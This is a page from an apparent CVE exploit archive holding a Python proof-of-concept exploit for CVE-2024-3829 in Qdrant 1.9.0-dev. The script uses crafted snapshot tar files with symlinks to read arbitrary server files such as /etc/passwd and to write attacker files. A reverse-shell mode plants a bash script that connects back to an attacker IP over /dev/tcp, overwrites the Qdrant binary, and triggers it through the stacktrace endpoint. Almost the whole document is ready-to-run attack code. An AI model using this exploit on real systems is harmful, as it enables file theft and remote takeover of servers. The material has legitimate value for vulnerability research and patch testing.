5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve_2024_3829.py PY
import tarfile
from io import BytesIO
from random import randbytes
from argparse import ArgumentParser
from pathlib import Path
import socket
import threading
import os
import requests
import time


def listener(timeout=120):
    global attacker_port
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as srv:
        srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        try:
            srv.bind(("0.0.0.0", attacker_port))
            print(f"[x] Listener started on port {attacker_port}")
            srv.listen(1)
            srv.settimeout(timeout)
            try:
                conn, addr = srv.accept()
            except socket.timeout:
                print(f"[!] Listener timed out after {timeout} seconds")
                return
            
            with conn:
                print(f"[x] Connected from: {addr}")
                data = conn.recv(1024).decode(errors="ignore")
                print(f"[x] RX: {data}")
                conn.sendall(b"pong")
            
        except OSError as e:
            if e.errno == 98:
                print(f"[!] Error: Port {attacker_port} is already in use")
                print("[!] Please use a different port with -ap/--attacker_port option")
            else:
                print(f"[!] Error binding to port {attacker_port}: {e}")


def read_file_content(target_url, target_port, target_path, target_file_name):
    global UNIQUE_PROJECT_NAME

    rsp = requests.put(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}", json={})
    print(f"[x] created collection {UNIQUE_PROJECT_NAME}")

    rsp = requests.post(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}/snapshots", json={})
    # print(f"[x] DEBUG: rsp.text")
    response_json = rsp.json()
    if "result" not in response_json:
        print(f"[x]  API-Fehler: {response_json.get('status', {}).get('error', 'Unbekannter Fehler')}")
        return

    snapshot_name = response_json["result"]["name"]
    print(f"[x] create snapshot with name: {snapshot_name}")

    rsp = requests.get(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}/snapshots/{snapshot_name}")
    snapshot = BytesIO(rsp.content)
    print(f"[x] Getting snapshot with name: {snapshot_name}")

    with tarfile.open(fileobj=snapshot, mode="a") as tar:
        info = tarfile.TarInfo("0/wal/sneaky")
        info.type = tarfile.SYMTYPE
        print("[x] Add symlink to the snapshot tar file")
        info.linkname = str(target_path / target_file_name)
        tar.addfile(info)

    rsp = requests.post(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}/snapshots/upload", files={
        "snapshot": ("x.snapshot", snapshot.getvalue(), "application/tar")
    })
    print("[x] uploaded modified snapshot to recreate collection")

    rsp = requests.post(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}/snapshots", json={})
    print(f"[x] Recreate snapshot with status {rsp.status_code}, \n[x] Response: {rsp.json()}")

    snapshot_name = rsp.json()["result"]["name"]

    rsp = requests.get(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}/snapshots/{snapshot_name}")
    print(f"[x] Download snapshot with status {rsp.status_code}")
    snapshot = BytesIO(rsp.content)

    with tarfile.open(fileobj=snapshot, mode="r") as tar:
        buf = tar.extractfile("0/wal/sneaky").read()

    try:
        print(f"[x] this is the content from the file: {buf.decode()}")
    except UnicodeDecodeError:
        print(f"[x] this is the content from the file (binary): {buf}")

    requests.delete(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}/snapshots/{snapshot_name}")
    print(f"[x] deleted snapshot {snapshot_name}")
    requests.delete(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}")
    print(f"[x] deleted collection {UNIQUE_PROJECT_NAME}")


def write_file_content(target_url, target_port, target_path, attacker_path, attacker_file_name):
    global UNIQUE_PROJECT_NAME
    rsp = requests.put(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}", json={})
    print(f"[x] created collection {UNIQUE_PROJECT_NAME}")

    # create and retrieve a snapshot:
    rsp = requests.post(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}/snapshots", json={})
    snapshot_name = rsp.json()["result"]["name"]

    rsp = requests.get(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}/snapshots/{snapshot_name}")
    snapshot = BytesIO(rsp.content)

    # create a fake tar with payload, you can also set custom file attributes
    # if you need the file to be executable, etc:
    fake_tar = BytesIO()
    with tarfile.open(fileobj=fake_tar, mode="w") as tar:
        # tar.add(str(Path(attacker_path) / attacker_file_name), arcname=str(attacker_file_name))
        tar.add(str(Path(attacker_path) / attacker_file_name), arcname=str(Path(target_path).name))
    # modify the snapshot to add a new segment .tar with a payload and a pre-existing
    # directory symlink with the same name (sans .tar);
    # during recovery process it will try to extract the contents of redirect.tar to redirect/
    with tarfile.open(fileobj=snapshot, mode="a") as tar:
        info = tarfile.TarInfo("0/segments/redirect.tar")
        info.size = len(fake_tar.getvalue())
        tar.addfile(info, fileobj=BytesIO(fake_tar.getvalue()))

        info = tarfile.TarInfo("0/segments/redirect")
        info.type = tarfile.SYMTYPE
        info.linkname = str(Path(target_path).parent)
        tar.addfile(info)

    rsp = requests.post(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}/snapshots/upload", files={
        "snapshot": ("x.snapshot", snapshot.getvalue(), "application/tar")
    })

    # rsp = requests.delete(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}/snapshots/{snapshot_name}")
    # print(f"[x] deleted snapshot {snapshot_name}")
    # rsp = requests.delete(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}")
    # print(f"[x] deleted collection {UNIQUE_PROJECT_NAME}")


def execute_reverse_shell(target_url, target_port, attacker_ip, attacker_port):
    print("[x] Starting reverse shell execution")

    attacker_path = "/tmp/"
    attacker_file_name = "shell.sh"
    target_path = "/tmp/"

    # shell_content = f"#!/bin/bash\n/bin/bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1"
    shell_content = f"""#!/bin/bash
                        exec 5<>/dev/tcp/{attacker_ip}/{attacker_port}
                        cat <&5 | while read line; do $line 2>&5 >&5; done
                        """
    shell_local_path = Path(attacker_path) / attacker_file_name
    
    print(f"DEBUG MSG: {shell_local_path}")
    
    with open(str(shell_local_path), 'w') as f:
        f.write(shell_content)

    os.chmod(str(shell_local_path), 0o755)
    print(f"[x] Created reverse shell script at {shell_local_path}")

    write_file_content(target_url, target_port, target_path, attacker_path, attacker_file_name)

    # Now, to trigger RCE, we need to overwrite /qdrant/qdrant with a script that executes the shell.sh
    # As per research, /proc/self/exe points to deleted /qdrant/qdrant, so overwriting it triggers execution
    attacker_path = "/tmp/"
    trigger_file_name = "rev"
    target_path = "/qdrant/qdrant"
    trigger_content = "#!/bin/bash\nbash /tmp/shell.sh"
    trigger_local = Path(attacker_path) / trigger_file_name
    
    print(f"DEBUG MSG: {trigger_local}")
    
    with open(str(trigger_local), 'w') as f:
        f.write(trigger_content)
    os.chmod(str(trigger_local), 0o755)
    print(f"[x] Created trigger script to overwrite {target_path}")

    # Write the trigger script to /qdrant/qdrant
    write_file_content(target_url, target_port, target_path, attacker_path, trigger_file_name)
    print(f"[x] Uploaded trigger script to overwrite {target_path}")
    time.sleep(1)
    target_path = Path("/qdrant/qdrant (deleted)")
    write_file_content(target_url, target_port, target_path, attacker_path, trigger_file_name)
    # as described in the research, this will overwrite /qdrant/qdrant, but /proc/self/exe will
    # now point to /qdrant/qdrant (deleted), lets write contents of trigger_shell to
    # qdrant (deleted) too to trigger the RCE.

    # trigger the shell:
    # http://localhost:6333/stacktrace

    listener_thread = threading.Thread(
        target=listener,
        kwargs={"timeout": None},
        daemon=False
    )
    listener_thread.start()
    print("[x] Triggering RCE via stacktrace endpoint")
    time.sleep(2)
    try:
        print("start triggering stacktrace")
        rsp = requests.get(f"{target_url}:{target_port}/stacktrace")
        print(f"[x] Stacktrace request status: {rsp.status_code}")
    except Exception as e:
        print(f"[x] Error triggering stacktrace: {e}")
    
    print("[x] Waiting for incoming connection...")
    listener_thread.join()


if __name__ == "__main__":
    LOGO = """
 ########################### THIS IS AN EXPLOIT FOR CVE-2024-3829 IN QDRANT 1.9.0-dev ###########################
 _______  __   __  _______         _______  _______  _______  _   ___         _______   _____   _______  _______ 
|       ||  | |  ||       |       |       ||  _    ||       || | |   |       |       | |  _  | |       ||  _    |
|       ||  |_|  ||    ___| ____  |____   || | |   ||____   || |_|   | ____  |___    | | |_| | |____   || | |   |
|       ||       ||   |___ |____|  ____|  || | |   | ____|  ||       ||____|  ___|   ||   _   | ____|  || |_|   |
|      _||       ||    ___|       | ______|| |_|   || ______||___    |       |___    ||  | |  || ______||___    |
|     |_  |     | |   |___        | |_____ |       || |_____     |   |        ___|   ||  |_|  || |_____     |   |
|_______|  |___|  |_______|       |_______||_______||_______|    |___|       |_______||_______||_______|    |___|

 ############################################### by fabse-hack.de ###############################################
        """
    print(LOGO)

    global UNIQUE_PROJECT_NAME, attacker_port
    TARGET_URL_DEFAULT = "http://192.168.178.10"
    TARGET_PORT_DEFAULT = 6333
    ATTACKER_IP_DEFAULT = "127.0.0.1"
    ATTACKER_PORT_DEFAULT = 9001
    UNIQUE_PROJECT_NAME = "project" + randbytes(8).hex()
    parser = ArgumentParser(
        description="PoC for CVE-2024-3829: Arbitrary File Read/Write in qdrant 1.9.0-dev",
        epilog="This script will read the contents of /etc/passwd and write a file with attacker-controlled content to the target server. \n"
               "Make sure to adjust the TARGET_URL, TARGET_PATH_READ, TARGET_PATH_WRITE, ATTACKER_IP, and ATTACKER_PORT variables as needed. \n"
               "For execution documentation: \n"
               "python cve_2024_3829.py --help"
    )
    parser.add_argument("-m", "--mode", choices=["read", "write", "reverse_shell"], required=True, help="Mode: read file, write file, or get an reverse shell")
    
    # target parameter:
    parser.add_argument("-tu", "--target_url", default=TARGET_URL_DEFAULT, help="Target Qdrant base URL")
    parser.add_argument("-tp", "--target_port", type=int, default=TARGET_PORT_DEFAULT, help="Target Qdrant port")
    parser.add_argument("-tpath", "--target_path", default="/etc/", help="Remote path on target host")
    parser.add_argument("-tf", "--target_file_name", default="passwd", help="Remote file name on target host")
    # attacker parameter:
    parser.add_argument("-af", "--attacker_file_name", default="shell.sh", help="Content to write to the target file in write mode")
    parser.add_argument("-apath", "--attacker_path", default="/tmp/", help="Path on target for the file written in write mode")
    parser.add_argument("-ai", "--attacker_ip", default=ATTACKER_IP_DEFAULT, help="Attacker IP for reverse shell")
    parser.add_argument("-ap", "--attacker_port", type=int, default=ATTACKER_PORT_DEFAULT, help="Attacker port for reverse shell")
    args = parser.parse_args()
    # getting parameter into variables for better readability
    # target:
    target_url = args.target_url
    target_port = args.target_port
    target_path = Path(args.target_path)
    target_file_name = args.target_file_name
    # attacker:
    attacker_path = Path(args.attacker_path)
    attacker_file_name = args.attacker_file_name
    attacker_ip = args.attacker_ip
    attacker_port = args.attacker_port
    # mode parameter:
    if args.mode == "read":
        print("[x] Starting exploit in reading mode")
        read_file_content(target_url, target_port, target_path, target_file_name)
    elif args.mode == "write":
        print("[x] Starting exploit in writing mode")
        write_file_content(target_url, target_port, target_path, attacker_path, attacker_file_name)
    elif args.mode == "reverse_shell":
        print("[x] Starting exploit in reverse shell mode")
        execute_reverse_shell(target_url, target_port, attacker_ip, attacker_port)